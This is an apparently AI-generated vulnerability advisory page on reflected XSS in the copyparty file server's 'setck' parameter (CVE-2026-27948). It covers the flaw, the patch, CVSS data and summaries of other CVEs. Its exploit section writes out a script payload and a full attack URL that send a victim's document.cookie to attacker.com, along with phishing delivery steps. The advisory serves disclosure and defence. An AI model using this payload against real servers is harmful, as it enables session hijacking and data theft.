CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27948

The Party Pooper: Reflected XSS in Copyparty (CVE-2026-27948)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 27, 2026·5 min read·78 visits

Executive Summary (TL;DR)

Copyparty < 1.20.9 reflects the 'setck' query parameter directly into the HTML response without sanitization. Attackers can use this to execute arbitrary JavaScript in a victim's browser. Patch adds strict allowlisting (alphanumeric only) and length limits.

A classic Reflected Cross-Site Scripting (XSS) vulnerability exists in the 'copyparty' portable file server, specifically within the 'setck' URL parameter used for setting client-side configuration cookies. This flaw allows unauthenticated attackers to inject malicious JavaScript into the server's response, potentially leading to session hijacking, unauthorized file access, or administrative account takeover when a victim clicks a crafted link.

The Hook: When Convenience Becomes a Liability

Copyparty is one of those tools sysadmins love. It’s a portable file server that runs anywhere Python lives, requires zero configuration, and just works. It is the digital equivalent of a Swiss Army knife—useful, ubiquitous, and usually safe in the pocket. But as with any tool designed for maximum convenience, security boundaries often get blurred in the name of 'feature richness'.

The vulnerability we are dissecting today, CVE-2026-27948, targets a specific convenience feature: the ability to set configuration cookies via a simple URL parameter. It sounds harmless enough—like letting a user save their dark mode preference via a link. However, in the world of web security, any time an application takes user input and spits it back out without scrubbing it first, you have a recipe for disaster.

This isn't a complex heap overflow or a race condition in the kernel. It’s Reflected Cross-Site Scripting (XSS). It’s the 'Hello World' of web exploitation, yet it persists in 2026 because developers still trust users. Rule #1 of the Internet: Users are not your friends. They are entropy agents trying to break your things.

The Flaw: A Mirror for Malice

The root cause lies in copyparty/httpcli.py. The application exposes a parameter named setck (presumably short for 'Set Cookie'). The logic is straightforward: the user visits a URL containing ?setck=value, and the server sets a cookie with that value. To be helpful, the server also replies with a confirmation message, effectively saying, 'Okay, I have set the cookie to [value].'

Here is where the logic fails. The server treated the setck value as a trusted string. It took whatever garbage the user threw into the URL and reflected it directly into the HTML response body. There was no output encoding, no sanitization, and no validation.

If you send ?setck=darkmode, the server replies set cookie: darkmode. But if you send ?setck=<script>alert(1)</script>, the server happily replies set cookie: <script>alert(1)</script>. The browser, seeing the script tags in the HTML, stops treating it as text and starts executing it as code. This is a textbook Reflected XSS. The server effectively becomes a mirror, reflecting the attacker's payload onto the victim's session.

The Code: Before and After

Let's look at the actual code changes, because the diff tells the whole story. The fix was introduced in commit 31b2801fd041f803f4a3d5c12c7d7cb5419048bc. The developer realized that allowing arbitrary characters in a configuration cookie was a terrible idea.

The Vulnerable Logic (Conceptual)

Previously, the code (roughly) looked like this:

# Vulnerable pseudocode
val = request.args.get('setck')
response.set_cookie('cfg', val)
return "Cookie set to: " + val  # <--- The Reflection Point

The Fix

The patch introduces a strict allowlist. It doesn't just escape the output; it rejects bad input entirely. They added a regex to copyparty/httpcli.py:

RE_SETCK = re.compile(r"[^0-9a-z=]")

And then applied it with a hammer:

zs = self.uparam["setck"]
# 1. Length check (Max 9 chars)
# 2. Regex check (Only lowercase alphanumeric and equals)
if len(zs) > 9 or RE_SETCK.search(zs):
    raise Pebkac(400, "illegal value")

This is a robust fix. By strictly defining what is allowed (only a-z, 0-9, and =) rather than trying to filter out what is bad, they effectively neutralized the attack vector. You can't write <script> if you can't use < or >.

The Exploit: Stealing the Admin Session

To exploit this, an attacker needs to trick a logged-in Copyparty user (ideally an admin) into clicking a link. Since Copyparty is often used on internal networks or defined ports (like 3923), the attacker might target a specific host.

The Attack Chain

  1. Craft the Payload: We need a JavaScript payload that grabs the session cookie (document.cookie) and sends it to a server controlled by the attacker.
fetch('http://attacker.com/log?c='+document.cookie)
  1. Encode the Payload: Since we are passing this in a URL, we must URL-encode the special characters. <script> becomes %3Cscript%3E.

  2. Construct the URL:

http://target-file-server:3923/?setck=cp_val=%3Cscript%3Efetch('http://attacker.com/log?c='%2bdocument.cookie)%3C/script%3E
  1. Delivery: Send this link to the sysadmin via email, Slack, or embed it in a page they frequent. "Hey, check out this error on the file server."

  2. Execution: The admin clicks. The Copyparty server sees the setck param, reflects it into the body, and the admin's browser executes the script. The session token is silently exfiltrated to attacker.com.

With the session token, the attacker can impersonate the admin, upload malicious files (web shells), or delete critical backups.

The Impact: Why This Matters

You might think, "It's just XSS, big deal." But context is king. Copyparty is a file server. It has read/write access to the filesystem.

If an attacker hijacks an administrative session via XSS, they don't just get to change your wallpaper. They can:

  1. Upload Web Shells: If the server configuration allows uploads (which is the point of a file server), the attacker uploads a reverse shell.
  2. Data Exfiltration: Access private files, SSH keys, or configuration dumps stored on the server.
  3. Pivot Point: Use the compromised server as a beachhead to scan the rest of the internal network.

While the CVSS score is a moderate 5.4 (due to the requirement of user interaction), the potential impact on a trusted internal network is critical.

Official Patches

GitHubCommit 31b2801 fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
EPSS Probability
0.03%
Top 92% most exploited

Affected Systems

copyparty < 1.20.9

Affected Versions Detail

Product
Affected Versions
Fixed Version
copyparty
9001
< 1.20.91.20.9
AttributeDetail
CWECWE-79 (XSS)
Attack VectorNetwork (Reflected)
CVSS v3.15.4 (Medium)
EPSS Score0.00029 (Low)
Privileges RequiredNone
User InteractionRequired

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Reflected XSS

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

HypotheticalStandard XSS Proof of Concept using script tags.
NucleiDetection Template Available

Vulnerability Timeline

Fix commit pushed to GitHub
2026-02-25
CVE and GHSA published
2026-02-26
Version 1.20.9 released
2026-02-26

References & Sources

  • [1]GHSA-62cr-6wp5-q43h
  • [2]NVD - CVE-2026-27948

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•36 minutes ago•CVE-2026-63402
5.9

CVE-2026-63402: Prototype-Chain Traversal and Shared Built-in Corruption in i18next

CVE-2026-63402 is a prototype-chain traversal and shared built-in object corruption vulnerability in the i18next internationalization framework for JavaScript prior to version 26.3.4. The flaw resides in the deepExtend utility function within src/utils.js, which uses the JavaScript 'in' operator to verify property existence on target objects. When an application passes untrusted resource bundles to i18next.addResourceBundle() with both the deep and overwrite parameters set to true, an attacker can traverse into inherited methods on Object.prototype and overwrite properties on shared built-in function objects, causing process-wide denial of service.

Amit Schendel
Amit Schendel
1 views•10 min read
•about 2 hours ago•CVE-2026-58262
7.1

CVE-2026-58262: BLS Signature Quorum Bypass via PubKeysBitmap Padding Bits in Klever-Go

CVE-2026-58262 (tracked internally as KLR-04 and via GitHub Security Advisory GHSA-f9h7-4mmq-vgcq) is a cryptographic verification and consensus quorum bypass vulnerability in Klever-Go (`klever-io/klever-go`), the Go implementation of the Klever blockchain protocol. Prior to version 1.7.20, the block header signature verification logic (`HeaderSigVerifier.verifyConsensusSize`) counts all set bits across the entire `PubKeysBitmap` byte slice toward the required two-thirds validator quorum without masking or validating unused trailing padding bits in the final byte. Because the underlying Boneh-Lynn-Shacham (BLS) multi-signature verification function (`blsMultiSigner.Verify`) iterates strictly over the indices of configured validator public keys, it ignores any bits set at indices beyond the active consensus group size. When the consensus group size is not an exact multiple of 8, a compromised or malicious block producer can set these unused trailing padding bits to artificially inflate the apparent signer count by up to 7 signatures, enabling blocks with fewer genuine validator signatures than required by the protocol to pass consensus validation.

Alon Barad
Alon Barad
2 views•14 min read
•about 3 hours ago•CVE-2026-77423
7.5

CVE-2026-77423: Regular Expression Denial of Service (ReDoS) in JLine Built-in Less Viewer

CVE-2026-77423 is a Regular Expression Denial of Service (ReDoS) vulnerability in the built-in less viewer of the JLine Java library (versions 3.0.0 prior to 3.30.15, and 4.0.0 prior to 4.3.1). The org.jline.builtins.Less class passes user-supplied search and display-filter patterns directly to Java's standard backtracking regular expression engine without complexity validation or execution timeouts. An attacker with access to an interactive JLine session can submit patterns containing nested quantifiers, causing catastrophic backtracking that consumes 100% of a CPU core and blocks the session thread indefinitely. In network-facing deployments such as SSH or Telnet administration consoles, repeated exploitation across concurrent sessions can exhaust bounded worker thread pools and result in a complete denial of service.

Alon Barad
Alon Barad
3 views•10 min read
•about 4 hours ago•CVE-2026-63492
8.1

CVE-2026-63492 (Duplicate of CVE-2026-63304): OS Command Injection in WWBN AVideo Standalone API

CVE-2026-63492 is a rejected CVE identifier originally assigned by GitHub for an OS command injection vulnerability in WWBN AVideo (formerly YouPHPTube) up to version 29.0. It was rejected as a duplicate of the canonical identifier CVE-2026-63304 (tracked under GHSA-j44m-77cc-p3cc). The flaw resides in the listFFmpegProcesses() function within plugin/API/standAlone/functions.php, which interpolates unsanitized user parameters directly into a single-quoted shell pipeline executed via PHP's exec() function. Attackers capable of crafting a valid AES-256-CBC encrypted API payload can break out of the single-quoted context and execute arbitrary operating system commands as the web-server user.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 5 hours ago•CVE-2026-63476
4.3

CVE-2026-63476: Unbounded Memory Allocation and Denial of Service in isomorphic-git Packfile Delta Parser

CVE-2026-63476 is an uncontrolled resource consumption vulnerability in isomorphic-git prior to version 1.38.6. When parsing Git packfile delta objects during clone or fetch operations, the applyDelta utility reads an untrusted targetSize integer from the delta stream header and passes it directly to Buffer.alloc(). A malicious remote Git server or man-in-the-middle attacker can supply a delta header specifying a targetSize of approximately 2 GB with minimal actual payload data. Because Buffer.alloc() reserves off-heap memory in Node.js, this bypasses standard V8 heap limits and results in immediate out-of-memory termination or sustained memory retention.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 6 hours ago•CVE-2026-63410
5.9

CVE-2026-63410: Compiler-Induced Timing Side-Channel in secp256k1-native Scalar Multiplication

CVE-2026-63410 (GHSA-vp2j-gqfm-r3cf) is a compiler-induced timing side-channel vulnerability in the secp256k1-native Ruby C extension. When compiled with GCC 14.x or 15.x at optimization level -O2, the compiler reconstructs boolean predicates from branchless bitwise multiplexer routines and emits secret-dependent conditional jump instructions (je/jne). During elliptic curve scalar multiplication in the Montgomery ladder, these conditional branches create observable execution timing variations correlated with individual bits of secret private keys or signing nonces.

Alon Barad
Alon Barad
2 views•12 min read